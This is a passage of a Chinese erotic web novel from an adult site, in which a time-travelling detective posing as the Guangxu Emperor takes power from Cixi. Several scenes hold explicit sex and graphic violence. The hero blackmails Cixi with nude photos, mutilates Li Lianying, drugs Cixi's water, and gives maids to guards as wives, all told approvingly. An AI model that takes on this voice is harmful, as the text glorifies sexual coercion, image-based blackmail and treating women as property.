风流刑警到清朝[全]-5 - PWXXX视频
[公告]:请记住永久地址“PWXXX.com”以防迷路! 地址发布页(请收藏)  👉加入本站推广送现金活动👈

精品分类

本站推荐

合作伙伴

热搜推荐 请记住永久网址:PWXXX.com

风流刑警到清朝[全]-5

分类:长篇连载   人气:765   时间:2024-09-24

  
第三十一章珍妃受刑

回到养心殿,张之洞、盛煜、菲儿先后派人来报告,交接已经顺利进行完毕,只有丰台大营在交接时那个不长眼睛的丰台大营提督丰升阿拒绝交出兵权,被一顿乱枪打成了筛子,其余都一枪未发。现在北京城对外的水陆交通已经全部封锁完毕,给各封疆大吏的参加皇帝亲裁大政庆典的电报也已经发出。

回到寝宫,菲儿拎着寇连才的耳朵进了来:“万岁,他把珍妃弄丢了,吓得不敢进来了!”

我一听急了,急忙问是怎么回事儿。

小才子哭哭唧唧地说:“不知道是谁向老佛爷告了密,老佛爷刚才带着人就过来了,一进门就点着名的找珍主子,珍主子不知道怎么回事,就过来了,老佛爷伸手就扯住珍主子的头发,把珍主子拽倒在地上,然后就连踢带打,打得珍主子都昏了过去,她又一把把扯着珍主子的头发骂道,‘你个臊狐媚子,你敢让那傻小子把我的丽嫣关起来?你还想不想活了?’她们又放出了那个关着的李丽嫣,李丽嫣扑到老佛爷的怀里就说,‘都是这个狐狸精把万岁给迷住了,万岁爷是喜欢我的,那天一来天都钻进了我的被窝,把我的奶子都给摸了,就是她这个狐狸精给搅黄了!’老佛爷听她一说就更疯了,‘好好,我说朕那皇儿怎么变坏了,原来是让你这个小骚蹄子给教坏了,看朕怎么收拾你!你把朕的母子给闹生份了,朕饶不了你!’说着又把珍嫔摁在地上打了半天屁股。直打的血把裤子都洇透了!临走还说:‘告诉你那个主子,他找朕的麻烦,朕就要他的好瞧,朕就不信治不了他个小崽子!’”

我气得抽出手枪:“走,我去杀了她!”

燕儿一把摁住了我,回头对小才子说:“你继续说!”

小才子接着说“万岁回来之前他们刚刚走,是叫两个人扯着昏迷的珍主子走的!”

燕儿马上说:“小不忍则乱大谋,我们要救出珍妃,也要用她慈禧这个牌子迅速把全国军队和政权控制在我们的手里,不给帝国主义国家任何可乘之机!”

燕儿又问:“李莲英跟着没跟着?”

小才子说:“跟着呢,一直扶着老佛爷,临走时老佛爷说她累了,腰酸腿疼的,李莲英还说,回去奴才给你好好调理调理,保证让您舒舒服服睡个好觉!”

燕儿说:“那好,咱们就先让他们舒舒服服睡个好觉吧!走,我们先查查是谁送的信!”

小才子说:“这几天我看得很紧,连只苍蝇都没让飞出去!我还特别对慈禧刚派来的那三个女人加了岗,根本都没让她们离开过围房,她们不可能把信送出去!”说完他回头问一个小丫头:“她们那边没什么反应吧?”

那小丫头想了想说:“没有,今天上午我还看见她们抓住个鸽子玩呢!”

我一听一下子明白了:“妈的,她们是通过信鸽把信送出去的!果然这几个是慈禧派来监视我的!”

燕儿带着人就朝那围房走去,我也跟了过去。

到了门口,菲儿一脚把门踢开,吓得三个躺在床上的小丫头呼地都坐了起来,见我跟在后边,都赶紧穿上衣服,下床跪在了地上:“参见万岁爷!”

我不耐烦地摆摆手说:“别来那套虚的假的了,你们白天玩的那个鸽子呢?哪去了?朕要看看!”

一个小丫头立刻说:“万岁爷说笑话了,我们这些天大门不出二门不迈的,哪来的鸽子给我们玩呀?”

我笑了:“没有怎么有人看见你们玩鸽子呐?难道是她们不认识那东西,说错了?”

“肯定是说错了!我们怎么会有鸽子呐!”另一个小丫头急忙说。

我坐在了椅子上煞有介事地说:“噢,还行,不忘故主,难道是真的想借你那主子的势力把自己拴在我的床上?你就不怕我把你们都给卖到外面的窑子里去?让你们当一当人尽可夫的婊子!”

三个小丫头立刻吓得浑身哆嗦,拼命地磕着头:“奴才不敢坏万岁爷的事,奴才没办对万岁爷不利的事!”

我点点头:“把朕的爱妃出卖给老东西,这不是坏朕的事吗?”

一个小丫头急忙说:“我们没说万岁的坏话,我们都很喜欢万岁爷的,怎么会说万岁的坏话呐?就是今天丽嫣哭着求我们给老佛爷带个信,我们也只是说丽嫣被关起来了!别的多一句也没说!”

我气愤地骂道:“这一句还不够?你们三个王八蛋还想说什么?你们把我的爱妃给送进地狱了,我也不能让你们好受了!来人啊,把这三个贱人关到跑了的那个贱人的屋里,你们就顶她在里面呆着吧!”

三个小丫头磕头如捣蒜地哭着哀求着:“万岁爷,我们知道错了,饶了我们吧!下回再也不敢了!”

卫士冲进来把三个人就往外面拖,我想了想说:“李相林,张诚,陈然,你们三个也老大不小的了,干脆把她们分给你们三个当老婆吧,你们把她们领回去,让她给你生个大胖儿子!”说着,我扯过来一个塞给李相林,又扯过来一个塞给了张诚,最后那个往陈然怀里一推说:“数你们三个岁数大,先紧着你们三个了,等过几天把老东西那里的姑娘都拿过来,再给你们剩下的人分一分!”

三个人拽着自己的老婆跪在地上就磕头:“谢万岁送给我们老婆!”

现在那三个小丫头到高兴了,她们因祸得福啊,不用再在这地方苦熬了,能不高兴吗?三个人跪在那,头磕得咣咣的:“谢万岁成全我们!”

气得菲儿揪着我的耳朵说:“你是惩罚她们还是奖励她们呀?”

燕儿却吃吃地笑了:“老公真是知道怜香惜玉了!”

说完一拎我的另一个耳朵:“走,回家去!”

我被两个小娇妻拎回了寝宫,燕儿说:“赶紧换夜行服,马上救人去!”

我急忙说:“现在可不能去,他们把珍儿弄去,明显是为了调咱们上钩!还是让盛煜派兵把老东西的狗窝彻底端了吧!”

燕儿说:“那你放心,现在盛煜的兵已经把坤宁宫围住了,所以没动她是我下的令,我得拿她一把,逼着她跟我们去趟天津,把李鸿章给解决掉!她现在把珍儿肯定关在水牢里,那里肯定有大批的士兵守卫,她们是想让咱们去救人,然后把咱们一网打尽!咱们今天偏不直接去救人,咱们去到她的寝宫里去,抓住她,然后再去救人!”

白雪说:“我也去吧!”

燕儿说:“当然你得去,你得跟我去引蛇出洞,让菲儿和老公去抄慈禧的被窝!”说完她看看手表说:“好,他们已经把坤宁宫包围了,我们该行动了!”

说着她又找出一套衣服扔给了白雪。

我们换完了衣服,四个人走到外面,燕儿说:“我和白雪去救珍儿,我们那边一打起来,他们那边必然松懈,你们就趁机进去!”说着她塞给我个东西,我一摸,是那个一次成像的照相机。

燕儿说:“你们摸到老东西的寝宫里,冲进去就照,底片我都安好了,你按快门就行了!这是底片,多照两张,这是控制她的武器!然后你俩把那老东西带回来,明天我们还有用呐!我们把珍儿救出来也回来!剩下的交给盛煜他们去干了,我们就不用管了!”

说完她把白雪一拉,带着她就蹿上了房子,我们四个人就一齐朝坤宁宫方向飞去。

到了坤宁宫附近,我们四人分了手,燕儿和白雪朝后边的围房摸去。

我和菲儿爬在房顶,等着他们那边的动静。等了不一会儿,那边果然打了起来,而且杀声震天,从坤宁宫的院子里,又跑走了一些人,看来是支援去了。

这边片刻就静了,我和菲儿就轻轻地落在了坤宁宫的门前。

第三十二章捉奸在床

润开窗户纸,我们看见十几个黑衣人携枪拿剑在里面守着,菲儿拿出一支小手枪,对着那些人就噗噗地开起了枪,枪的声音很小,像谁吹了口气,只见那个十几个人都倒在了地上。

妈的,燕儿这个大老婆真得好好管教管教了,什么都敢瞒着我,有这么好的东西怎么不给我弄两把玩玩?回去看我不打她的小屁股!

菲儿一气打完了,她一拉我的手说:“走,进屋!”刚进屋,她一抬手又开了一枪,从屋顶掉下个胖大和尚,她脚尖一钩,顺脚往外一送,那大和尚就顺着开了的门飞了出去。我们顺着回廊飞快地朝里屋奔去,在回廊的尽头,见一个小太监正在那数着手里的银子,旁边坐着一个小太监在那打瞌睡,菲儿手起枪响,噗噗两声,数钱的头一歪靠到了墙上,那个打瞌睡的身子一歪就要摔到地上,菲儿迅速飞了过去,拿脚接住他,轻轻地把他放到了地上,然后和我悄悄地摸进了里屋。

这时,我们已经听见了慈禧的呻吟声和喃喃地说话声:“恩,好好,再往里边点,恩,恩,恩,出来了,你快喝!你埋多少炸药?够不够那小子尝的?”

李莲英大概是被淫水灌的,喘了半天气才说:“放心吧,我把山本给的那些都埋上了,等他们一进去救他他拉,就让人拉弦!保证让那个光绪腾空驾云!”


我气冲脑瓜顶子,几步就蹿了进去,连细看都没细看,把被一撩,对准两个光着身子的大肉虫就啪啪啪连照了三张快照。

就在此同时,菲儿的剑已经摁在了李莲英的身子上。

这时我才看见,这里简直是一幅世界上最荒淫的春宫图。

两个人都一丝不挂,李莲英倒骑在慈禧的身上,把嘴正对着慈禧的下身在舔着她的淫窟,而慈禧正在那唆裹着李莲英的淫根儿。

被我们一惊,两个人都僵在了那里。

我现在可顾不上理他们,我担心我的两个小娇妻会冲进去救人,我急忙说:“我看着这两个人,你快去告诉燕儿,先别让她们进去救人!”

菲儿“扑哧”一声笑了:“就他们这点诡计,早让燕姐猜到了,放心吧,燕姐有办法对付他们!”

我一块石头落了地,打开蒙在头上的黑巾,笑着走到慈禧身边,拿着刚照出来的彩色照片,边给她看边说:“恩,这照片效果不错吧,看得挺清楚,你看,你的小嘴含着那淫根儿裹着的神态,好动情啊!皇额娘,真没想到你竟好这口啊?您要是缺男人,孩儿给你选一个下边那东西全点的,那多好受,你让他这么舔,能有高潮吗?唉,可怜啊!传出去可是不太雅观啊!”

慈禧张开口,吐出了那淫根,嚯,竟有一寸多长!

我拿宝剑拨拉了一下李莲英的淫根:“果然没让我说错,真是没给你刷干净了,看来重新刷一刷茬还是很有必要的!”

说着我一挥手,那淫根儿贴着他的身子被砍掉下来了,疼的李莲英大叫一声就昏了过去。血喷了慈禧一脸,淫根儿差点掉到慈禧嘴里。

慈禧躲开我的宝剑和李莲英那掉下来的淫根儿,把脸扭过来,格格地笑了起来:“小崽子,终于把你调来了,你好好看看,这周围可都是我的人了!”

我笑了:“你的人?你喊喊,还有吗?”

慈禧果然大喊了起来:“来人啊,抓住这个发匪的余孽!”

她刚喊完,盛煜踱了进来:“鬼叫什么?好好搂你的太监玩得了,这儿里里外外的事,不用你操心了!”

老东西一看奇怪地问:“你怎么来了?给我滚出去!”

盛煜笑着说:“老太婆,现在你耍不了威风了!我现在是九门提督步军巡捕五营统领,你在这鬼哭狼叫的,影响我的防务,我能不来吗?好了,你先玩吧,不打搅你了!唉,世界上还有玩太监的,恶心!”说着就把手一背又踱了出去!

慈禧气得吼道:“小崽子,你想怎么样?”

我笑了笑:“我能怎么样,晚上寻思给皇额娘问安来吧,听见这里传出靡靡之音,我寻思谁这么大胆,敢打搅皇额娘的休息,我就过来了,寻思照下来告诉皇额娘,谁知道竟照的是皇额娘呐?唉,都是孩儿不好,皇额娘这么隐秘的事怎么让我给赶上了?这照片是给皇额娘存起来当个纪念呐,还是留在孩儿这里当个春宫图,消谴时把玩呐?怪不得你总说我是小孩子呐,您还真是个大人啊,您看看您这乳房,让这混蛋的大屁股一挤,哇,好大呀,大波慈禧,这要是卖给外国人,估计能值个千八百两的银子!嘿嘿,对不起,不小心你让孩儿也发财了!”

李莲英那淫根上的血滴了慈禧一脸,慈禧手欲推李莲英,吓得刚刚苏醒过来的李莲英急喊:“老佛爷,兰儿,别动,她的剑摁在我身上呐!”

我笑了:“皇额娘,这么好的身材不好好展览一下,多可惜呀,让孩儿好好看看,呀,真是美奂美伦啊,你看看这小蛮腰,看看这小屁股,噢,这长长的黑头发也够迷人的了,怪不得迷的李莲英放着六根齐的人不当,让人家割的卵袋都没了还心甘呐,敢情是恋着这美妙的身子呀!”

慈禧恨的牙直咬:“你到底要干什么?”

我说:“我能干什么呀,你想发威就把我的女人给拎过来打一顿,高兴了就给我塞两个你的跟屁虫,你能不能老实回家呆一会儿呀?我告诉你,明天赶快归政,回家搂你的太监老公吧!”

“你急着想掌权了?”慈禧心情到放松了。

“我到不急,那是个累人的差事,我可没那个抢着挨累的瘾!可中国等不起呀,中国让你折腾得已经快散花了,老百姓已经让你闹的快饿疯了!我再不把你撵下去,我还是炎黄的子孙吗?我还有资格当这皇帝吗?”

慈禧连打了几个喷嚏,身子一动,李莲英的腰上竟割了两个口子,他鬼哭猫叫地喊道:“妈呀,你动什么呀,没看见他把剑摁在我的腰上吗?”

我把手一挥,菲儿把李莲英一把就揪了起来,拎着就拽到了外面,片刻那鬼哭狼叫的声音就消失了。

慈禧一哆嗦:“你把他杀了?”

我说:“这样淫乱宫帏的王八蛋再不杀,我还是人吗?不过现在没那么便宜的事儿,我还得带着他去救我的女人呐!”

慈禧又咳嗽起来,气哼哼地说:“这大冷的天你就让我这么冻着,你是不是想冻死我呀?”

我笑着说:“孩儿不过是想欣赏一下大清第一美人的美体,看看这白嫩的皮肤,这油黑的嫩毛,哈,送到窑子里,准能挣点好钱!你可真是成全我,净给我创造发财的机会!”

我拿起坐在火盆上的水壶给她倒了碗水,给她吹了吹,然后扶起她说:“皇额娘喝口热乎水吧,压压咳嗽!”

她喝了两口,又喝了一口,巴达一下嘴:说:“你是不是在水里放什么了,怎么不是味儿啊?”

我没理她,端着碗全倒进了她的嘴里,然后问她说:“我的女人呐?”

“在偏房呐,自己取去!”慈禧被灌得只翻白眼,停了半天才说。

“那个李大姑娘呐?”

“在后面,她挺喜欢你,别杀她了!”慈禧知道我恨她。

我才不杀她呐,我还留着她给我的战士们捂被窝呐!


“告诉你,朕不想太难为你,我们马上得带你走,但有一条你得记住,这里是你的春宫照,今天晚上我就把他们送到外面的朋友那里,如果你老老实实听话,咱们万事皆消,你还是我的皇额娘,朕还给你留条后路。如果你想骗我们,对不起,我就让他们把这张玉照发到外国报馆,我相信他们一定非常喜欢看你这美丽的身材,喜欢看你这油黑的神秘的金三角!”说完我一点她的穴道,接着说:“告诉你,我的小珍珍要是没事,你也不再捣乱,我就不再为难你了,要是她出了什么事儿,我就要你的老狗命!”

说完我冲了出去,和菲儿一起拎着半死不活的李莲英来到了水牢前。果然燕儿和白雪没再往里闯,见我们拎来了李莲英,就一捅他的软肋说:“喊,你来提珍嫔娘娘去审讯了!”

李莲英立刻鬼哭鬼叫地喊:“宋昌,我是李莲英,你快把那个小丫头给我送出来,老佛爷要亲审!”

片刻,两个太监架着浑身水淋淋的珍妃走来了,我迅速上前制住了两个太监,抱住了珍妃,她被打得浑身是伤,看见我,哇地一下哭出了声。我抱着她回头对燕儿说:“把那个混蛋处理了吧,别让他光着个腚丢人了!”说完我就大步朝前走去,后面响起来一声鬼叫,然后就静了下来。

我对菲儿说:“你和雪儿把那个老东西带来,我们回寝宫去!”

第三十三章心心相印

珍妃经过刚才地奔跑,人已经清醒多了,我把她往床上一放,她哎呀一下。燕儿点上了蜡烛,我见珍妃的衣服都已经扯碎了,血把剩下的衣服都沾在了身上。

燕儿急忙给她脱掉衣服,不少地方已经被血粘住了,我端来温水,轻轻地洇湿了以后再帮她脱。

费了半天劲儿,才把她的衣服全脱了下去。

我一看,眼泪哗地又下来了。

珍儿的过去雪白的玉体,现在已经全是瘀黑和青紫了,过去粉嫩的小翘臀,现在上面布满了一道道的鞭伤,有的地方已经被打得皮开肉绽了!难怪她刚才会叫出声来!

燕儿拿一条新毛巾沾着水轻轻地给她擦拭着,看她皱着眉头的样子,我的眼泪就流满了脸上。

珍妃挣扎着伸出一只小手,擦着我的脸哭着说:“珍珍不好,珍儿让万岁伤心了!珍儿太无能了!”

我握住了她的手,哭着说:“不是珍儿不好,是那个老混蛋太坏了!”

珍儿急忙说:“不能那么说,她是万岁的额娘啊!”

“不,她不是万岁的额娘,我们不认识这个老王八蛋,老淫婆!”燕儿把珍儿搂在了怀里。

“可她还是万岁的姨娘耶!”珍儿还是说。

我紧握着她的手,看着她的脸问:“珍儿,你爱我吗?”

珍儿立刻说:“爱,我从来没觉得会这么爱一个人,我一时片刻也不能离开你了,我觉得你是我的阳光,是我的雨露,是我生命里最宝贵的一部分!”

我又问:“如果我不是光绪你也会爱我吗?”

她扑哧一声笑了:“可你是光绪呀,是小珍的光绪皇帝呀!”

我严肃地说:“我请你正面回答我!”

她也严肃地一字一句地说:“我爱的不是光绪那个皇帝,我爱的是你现在这个人,是对小珍珍一往情深的你这个大哥哥!”

我轻轻地抚摸着她的小柔夷说:“我告诉你,我不是那个载湉光绪,我是从未来世界来的龙翔宇,你的两个姐姐燕儿、菲儿也是和我一起从未来世界过来的人!”

她一下了僵住了,过了一会儿把我拉到她的跟前,拿手摸摸我的额头:“万岁爷,你不是烧的说胡话吧!”

我说:“这是真的,这是我不能告诉任何人的大秘密!”

珍儿大眼睛盯着我,紧张地问:“那你怎么成了光绪了?”

我说:“我们那天就开着外面那辆车钻进了大雾里,汽车在雾里一直在开,后来突然觉得撞了个人,等我们下车才发现,那个皇帝被我们撞死了!”

珍儿紧抓住我的手:“撞死了,那死人呐?他们没发现吧?”

我接着说:“就连我们也不敢相信,那狗皇帝竟在我扶他起来,准备抢救他时突然消失了,就剩下一摊衣服,而你的燕姐说我长得和那狗皇帝一模一样,就让我穿上了那皇帝的衣服,他们就真的把我当成了那皇帝!”

珍儿含着眼泪说:“太好了,怪不得阿玛说你跟过去不一样了,说你过去像个病秧子,说话磕磕巴巴的,没一点主见,一见老佛爷吓得直哆嗦,那天在朝堂你突然口若悬河,英武得让大家都不敢信了,连孙毓汶都让你给震住了,原来珍儿拣了个天降的奇才呀!”说着投进我的怀里,紧紧地搂着我,把脸贴到我的胸脯上,像个小乖乖猫!过了片刻,她又突然仰起脸问:“万岁爷,你不是骗小珍珍?珍珍可是最相信你了!”

“不,他没骗你,我们三个确实是那个世界过来的,在那个世界,我们就已经是夫妻了,本来我们没想当什么皇帝,可看到现在的腐败的清朝也让我们实在是看不下去了,我们不忍心让中国被混蛋慈禧给祸害得任人宰割,我们不忍心让穷苦的百姓再受外夷的杀戮,我们就逼上了梁山,让他装成了光绪,挑起了这份担子!”燕儿严肃地说。

珍儿高兴地说:“原来让我嫁给那个光绪,我偷偷地哭了几十场,我听说那人是个病秧子,而且什么也不是,连夫妻生活都过不了。可我看见的却是个英气勃勃的人,是个武功十分了得的大英雄,而且我们结合那天,你连御我们三个人几遍,毫没疲累感觉,我还认为他们是瞎传呐!原来你是苍天可怜中国,可怜小珍珍,给我们派的天神啊!”

我急忙说:“不,我不是天神,我就是珍儿的夫君,我就是普通的人!”

刚进屋的白雪也扑过来,泪流满面地亲着我说:“万岁,确实是苍天可怜中国,可怜我们姊妹几个,给我们派来的天神,送来了好夫君,今后您就说话吧,我们一定跟着你把这个腐败的清朝掀个底朝天!”

我嘘了一声:“这个秘密现在还不能公开,我们还要借光绪这个牌位,积攒力量,调动兵马,准备推翻这个腐败的政府!”

白雪埋怨地说:“那为什么不一刀把那个老妖婆子杀了,你直接坐上龙庭不就得了?”

“小妹妹,什么都是欲速则不达啊,慈禧死的太快,各地的大员、总督就会出兵勤王,八旗绿营也会跟着捣蛋,中国必定大乱,到那时我们中华大国自己打起内战,外国毛子就要从中得利了,他们会趁乱侵我中华,占我河山!现在老公已经开始坐上龙庭了,只要我们部署好了,就完全可以兵不刃血的控制住全国的军队。”燕儿拍着白雪的肩膀说。


白雪点点头说:“是那么个理儿,她的爪牙挺多,哪个也不会老实地伸着脖子等着我们去宰,那咱们就把那老妖婆子扣起来,让她听咱们的,一点点把她的狐群狗党都收拾掉,让龙大哥给咱们坐江山!”

菲儿高兴地拍着巴掌说:“妙招!妙极了,就像演皮影戏,咱们在后面牵着线,让她说什么,她就给咱们说什么!咱们就今天让他杀荣禄,明天让他杀李鸿章,专杀她的心腹势力!再让她下令封咱们的人当官,把大权都拿过来,岂不妙哉!快哉!”

燕儿笑道:“哪有那么简单的事儿,那个慈禧决不会当我们的传声筒,而且他们的反扑肯定也是会很激烈的!”

我说:“利弊都有,我们就得权衡好了怎么利用她!那个老东西放哪了?”

菲儿说:“在西边关李大姑娘的房子里,给她盖好了被,让她睡了,外面交给李相林他们看着呐!”

正这这时,外面小才子轻声地喊我:“万岁爷,张老板打发人来了说您找的一个想谭的人来了,现在还在他那里,是不是让他过来?”

谭嗣同?太好了,我现在正缺人呐!我早就让张德财给我寻找几个人,其中就有这“我自横刀向天笑,去留肝胆两昆仑”的谭嗣同,可现在这深更半夜的进大内,哪那么方便的,我想了想回头对燕儿说:“还是咱们俩去一趟吧!”

我带着燕儿飞出了紫禁城的大墙,蹿房越脊,来到了前门外的大栅栏,在龙翔银号前停了下来。

燕儿按规定的暗号敲了几下门,里面低声说:“夜暮苍山远——”

燕儿道:“风雪夜归人!”

门吱呀一下打开了,一位虬髯大汉见是我们,急忙把我们让进里面,然后把门关好后说:“老板来了,快进里面去,张老板正和那人在晤谈!”

我高兴地拉着虬髯大汉就走:“走,快领我们去看看他!”

第三十四章纵论变法

我拉着那人急急地来到了里进的一个屋子门前,那人站在门口说:“龙老板,您进去吧,我们是不许进去的!”

我急忙进到里屋,一眼看见屋里的椅子上坐着两个人,一位身穿深蓝色长袍,五绺长髯垂到胸前,满脸英气,寿眉入鬓的老者,我认识那是张德财,还有一位长得极其英俊潇洒,清瘦高挺,英眉朗目,穿一身白色的西服,戴一顶雪白的礼帽的年轻人,这应当就是谭嗣同了。

见我走进屋,张德财一拉那人,两个人同时跪在了地上:“参见万岁!”

我急忙走上前两步,搀起两个人道:“振帮(张德财的字),复生(谭嗣同的字),休要多礼,快起来!”

我拉着谭嗣同的手说:“早闻先生忧国忧民,朕早想一见,没得机会,今日来振帮处得见先生,朕欣喜万分啊!”

谭嗣同受宠若惊,忙说:“嗣同一介平民蒙万岁惦记,不胜愧赧!”

我把燕儿介绍给他说:“这是我自己选的皇后娘娘林燕,也是朝庭的军工部部长!”

谭嗣同急忙又跪下说:“参见皇后娘娘千岁!”

我忙拉他起来说:“就咱们几个人,不要来那套,太俗!”

四人坐下,一位盈盈少女端来清茶,我抿了一口,清香满口,顿感神清气朗,不禁赞道:“西岩乌龙,好茶!”然后问道:“复生可知道这茶的来历?”

谭嗣同品了一口说:“学生听说这是选用1250米大埔西岩山顶峰之名贵乌龙茶的一尖两叶为原料,采用特殊传统工艺精制而成。具有香、甘、清、滑、醇等特点。素有‘西岩茶王’美誉,是乌龙茶中极品。”

我点头说:“复生还是见多识广啊!当今中国贫弱多事,外夷屡乏天威,占我国土,杀我百姓,近来东倭之国又虎视眈眈欲敲开我国门,中华民族危矣,中华万里江山危矣!壮士既以天下苍生为念,可知如何解民之倒悬?”

谭嗣同笑道:“嗣同一介平民,文不能安帮定国,武不能开疆裂土,哪有解民倒悬之策,怕是有误下问!但嗣同既是中华一分子,也应关心中华之大事,嗣同以为当务着之急应实行变法,推行新政!”

我摇摇头说:“推行新政势在必行,乃世界之潮流,中国之必须!然大清决非法兰西,也非日本,中国工商阶层势衰,封建势力盘根错节,不是像拿破仑和明治一声号令即可推行!要推行新政,必要一场你死我活的争斗,所以变法实难行通,必须来一场翻天覆地的大革命,方才可保新政得以推行!”

谭嗣同和张得财都听得张着大嘴不知如何是好了,他们不理解,皇帝怎么要自己推翻自己!

我笑了:“你先别考虑朕这个人,而是想一想你实行新政能不能通过!要实行西方的新政,关键一条是必须实行君主立宪,也就是成立议会,开国会,制定宪法,简言之是把过去皇帝一人说了算变成大家说了算,把大权在皇帝手中变为在众人手中,请问哪个人愿把自己的权利交给别人,让别人来管着自己?那些铁帽子王,那些王公大臣哪个愿把自己交给别的什么人摆布?你没有铁的手腕跟着,你的打算能行得通吗?”

他张口解舌说不出来了。

我说:“当今之世界,各列强靠掠夺殖民地国家的资产和霸占它国的土地来增强自己的国力,他们的贪婪之口,已经对准了中国,它们岂能让你强大起来,岂能让你实行新政?他们现在为争夺势力范围可以狗咬狗争吵不休,当发现你要强大起来,不再让他们宰割之时,他们就会联起手来对付你,请问你有什么力量去对付那些如狼似虎的列强之兵?”

谭嗣同已经目瞪口呆了。

我接着说:“你要变法,依靠的力量是什么?应该是民众,可民众从你的变法里能得到什么?不用说长远的,民众需要的是眼前的利益,在中国,当务之急是如何填饱肚子,不至于冻饿而死,你的变法能解决这个问题吗?而且议会里有发言权的是少数有钱有地位的人,与民众无干!你发展洋务,实行西洋科技兴国之策他们见不到好处,他们凭什么为支持你去豁出掉脑袋?”

谭嗣同点点头。

“一场没人支持,四面八方有人反对的变法,你看看还有多少胜算?”

谭嗣同心服口服地点了点头:“难道我们就这么甘心受外夷侵略,让奸佞当道吗?”

我说:“当然不能,我们现在面临着不自强就灭亡的险境,怎么能不奋起图强呐?所以我说必须用铁的手腕,来一场革命的风暴,让亿万民众和我们一起,强行推行新政,强行推行君主立宪,我当然要和民众在一起,当一个接受宪法约束,接受议会监督的君主!”

谭嗣同立刻跪在地上说:“草民谭嗣同愿追随万岁赴汤蹈火,前赴后继,驱除夷虏,振兴中华!”



我立刻把他扶起说:“好,复生以天下苍生为念,朕十分欣喜!”我叹了口气说:“然天下大乱,外夷猖獗,奸佞挡道,形势十分险恶呀!现在我们有三步棋是必须走的,那就是夺权、强国、精兵!夺权,是为了给实行新政开路,是为了能率全国民众共同落实振兴中国之大计!现在朕正在进行,估计能有八分胜算,虽无十分,但国之重任压在肩上,朕不敢松懈,只得奋力一搏!强国之路最难,但朕此心已坚,朕决定:一要发展工业,允许商民开矿建厂,使我中华也有‘坚船利炮’使我中华成为海上大国,让中华舰队走进蓝色海洋,;二要发展金融业。鸦片贸易使‘夷烟蔓宇内,货币漏海外’,造成白银外流,国库空虚,为此发展金融业,必须改银元为纸币,减少民间持银量,充实国库。三要开展对外贸易。应该允许中外商民除了鸦片外可以互易货物,互通有无,在平等基础上公开进行贸易。四要发展教育,重视人才培养,广设学校,实行普及式教育,培养为士、为工、为商、为医等各行人才。五要发展科学技术,靠科技带动民富国强,变到西洋去采购先进武器、先进生产设备为西洋到我国来采购,赚外夷的钱,控制外夷的发展速度,使我中华永远立于不败之地!”

谭嗣同点点头说:“其实强国之路最难,中国已经是久病之身,猛药不可,温药又不治病,国策难订矣!”

我赞同地点了点头,停了停说:“强兵之路也不易,要强兵得裁撤当前一半的冗员,特别是八旗兵,那就必然捅了马蜂窝,满人权贵必得说朕是满人叛逆,必欲除之而后快!要强兵,必得增加军费,那就要裁减其它各项开支,裁到谁的头上,谁必然跳到对方阵营与你作对!所以说实行起来反对力量会相当大!但此步不走,我中华危矣!强兵之路,是形势所逼,情势所迫!当前形势是,外夷都感到中国是块肥肉,是块既鲜美,又好啃的骨头,所以四方列强都麇集于此,舞刀动枪,欲对中国动手。其中尤以岛国日本为甚,极力主张以我中国为目标扩军备战。而我们大清的军队极其腐败,军纪松懈,毫无斗志,官兵除了会嫖女人、抽大烟、打群架,哪懂一点战略战术,哪有一点爱国热情?这支军队中最有战斗力的就算是湘淮二军了,但他们也是兵痞土匪组成,每次打仗全靠抢掠民财刺激积极性,与外夷军队打仗,也必然是一触即溃!这样的军队不来一次大手术,不砸烂它,重新组建一支军纪严明,敢打敢拼,攻无不克,战无不胜的铁军,怎么去对抗那些外夷的虎狼之师?”

谭嗣同说:“听说万岁已经组建了一支铁军?”

我说:“是不是铁军,目前尚且不知,但起码官兵知道为谁扛枪,为谁打仗!而且有严明的纪律,团结的空气,在折冲尊俎的斗争中,应该能够放手搏击了。我说了半天,还是一句话,腐败的满清政府不是日本,朕也不是明治,靠改良推行新政是一条死胡同,当今之计只有拿出雷霆手段,来一个大革命,在新的基础上,实行新政!”

屋里的几个人都听得兴奋异常,连燕儿也秀脸红胀,紧握着粉拳。

第三十五章中计被围

我笑笑说:“一个极其落后腐败的社会制度,单靠一人之力,靠小修小补是无济于事的,必须要动大手术!你们想一想,它的从上到下的哪一种制度还算合理?既然没有合理的东西,你还保留他干啥?你们别考虑我,我首先是个中国人,其次才是现在的皇帝,所以,我得先从我是中国人来考虑问题!你们放心,我会和你们一道去砸碎它,一道儿再建设一个光明的新中国!好了,好多话,不是一句两句可以说清的,复生就不要走了,跟着朕一起为推翻腐败的满清王朝奋斗吧!再告诉你一句,北京已经在我们的控制之下了,慈禧也已经被我控制住了,我估计控制局势已经不是大问题了,但如何实行新政,如何建设我们的国家,让他强大起来,富强起来,这才是我们的大任务!朕希望复生能为新中国的建设多出点力!”

谭嗣同立刻跪下说:“草民—”

我一把将他拽起来:“既然是革命,就得从现在做起,今后除了暂时在朝廷里不得不摆摆样子,再不得实行这个跪拜礼!来,起来说话!”

谭嗣同站起来说:“谭嗣同听候万岁调遣!”

我对张德财说:“我写一封信,你马上派人带着谭先生到军校去,把信交给张之洞大人!同时叫天津的弟兄摸清李鸿章的一切动静,迅速用飞鸽传给我,我天亮坐汽车去天津,让他们在暗中接应!”

张德财连忙说:“是,属下马上去办!”

回到屋里,三个人已经躺在床上睡下了,我想起得明天还给那老东西请安,看看她经过昨天那场惊吓,现在怎么样了?然后还得押着她去看看那个李鸿章呐!

没打搅她们,带着燕儿回到了寝宫,颠鸾倒凤疯了一气儿,俩人才搂着抱着睡下了。

天一亮,我见燕儿已经不在了,我知道,她是去执行我们的夺权方案去了,我就穿好衣服,带上枪,走进了关押慈禧的房间。

老东西还躺在床上,见我去了,她拍拍床边说:“坐过来点吧,姨娘现在是你的阶下囚,吃不了你了!”

我坐到了她的身边说:“皇额娘怎么样,睡的还好吧?”

她气愤地说:“我还能怎么样,让你昨天折腾得到现在还腰酸腿疼呐!你是不是嫌皇额娘活着挡你的道了?你想让皇额娘早点死啊?”

我立刻说:“孩儿不敢,孩儿希望皇额娘健康长在,帮孩儿掌掌舵,拿个主意!也让皇儿可以承膝在母亲面前,让母亲享享天伦之乐!”

她呆呆地看着我说:“你真是这么想的?”

我点点头说:“真的,可我不希望皇额娘再参政了,中华的大好江山就要被你宠信的那帮奸臣挥霍光了!现在世界上的列强几乎都跑到中国这来了,围着中国要瓜分中国,额娘再要是信着那帮子误国误民的奸臣,不单是大清完了,就是中国这地方,也都得被外夷分个七裂八瓣的了,我们都得当外夷的奴隶了!我只希望你做个好额娘,好太后,替孩儿照看管教你的孙儿们!”

慈禧又问:“你们真把李莲英给杀了?”

